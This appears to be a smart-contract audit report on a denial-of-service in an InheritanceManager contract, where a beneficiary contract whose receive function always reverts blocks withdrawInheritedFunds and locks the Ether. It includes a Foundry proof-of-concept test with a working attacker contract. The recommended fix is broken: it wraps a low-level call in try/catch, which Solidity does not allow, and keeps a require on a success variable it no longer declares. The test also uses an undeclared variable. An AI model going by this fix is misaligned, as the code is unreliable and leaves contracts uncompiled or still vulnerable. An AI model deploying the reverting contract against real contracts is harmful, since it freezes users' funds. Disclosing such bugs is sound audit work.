Summary
After the InheritanceManager contract deployed and consider if owner has multiple beneficiaries and if one of the contract is malicious. If owner has lost his private key and after 90 days no one can able to withdraw the Ether forever .
Vulnerability Details
In withdrawInheritedFunds function malicious beneficiary can attack this contract to loose Ether forever
(bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
POC
contract InheritanceManagerTest is Test {
DdosContract ddosContract;
address owner = makeAddr("owner");
address user1 = makeAddr("user1");
address hackAddr = makeAddr("hackAddr");
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
ddosContract = new DdosContract();
}
function testDdosAttack() public {
vm.startPrank(owner);
im.addBeneficiery(user1);
im.addBeneficiery(address(ddosContract));
vm.stopPrank();
vm.startPrank(hackAddr);
vm.warp(91 days);
im.inherit();
vm.expectRevert();
im.withdrawInheritedFunds(address(0));
vm.stopPrank();
}
}
contract DdosContract {
error Ddos();
receive() external payable {
revert Ddos();
}
}
Impact - Higth
Tools Used
Recommendations
Adding a try catch for external calls like this
function withdrawInheritedFunds(address _asset) external {
if (!isInherited) {
revert NotYetInherited();
}
uint256 divisor = beneficiaries.length;
if (_asset == address(0)) {
uint256 ethAmountAvailable = address(this).balance;
uint256 amountPerBeneficiary = ethAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
address payable beneficiary = payable(beneficiaries[i]);
- (bool success,) = beneficiary.call{value: amountPerBeneficiary}("");
+ try beneficiary.call{value: amountPerBeneficiary}("") { // emit success event }
+ catch { // log failure and continue execution }
require(success, "something went wrong");
}
} else {
uint256 assetAmountAvailable = IERC20(_asset).balanceOf(address(this));
uint256 amountPerBeneficiary = assetAmountAvailable / divisor;
for (uint256 i = 0; i < divisor; i++) {
IERC20(_asset).safeTransfer(beneficiaries[i], amountPerBeneficiary);
}
}
}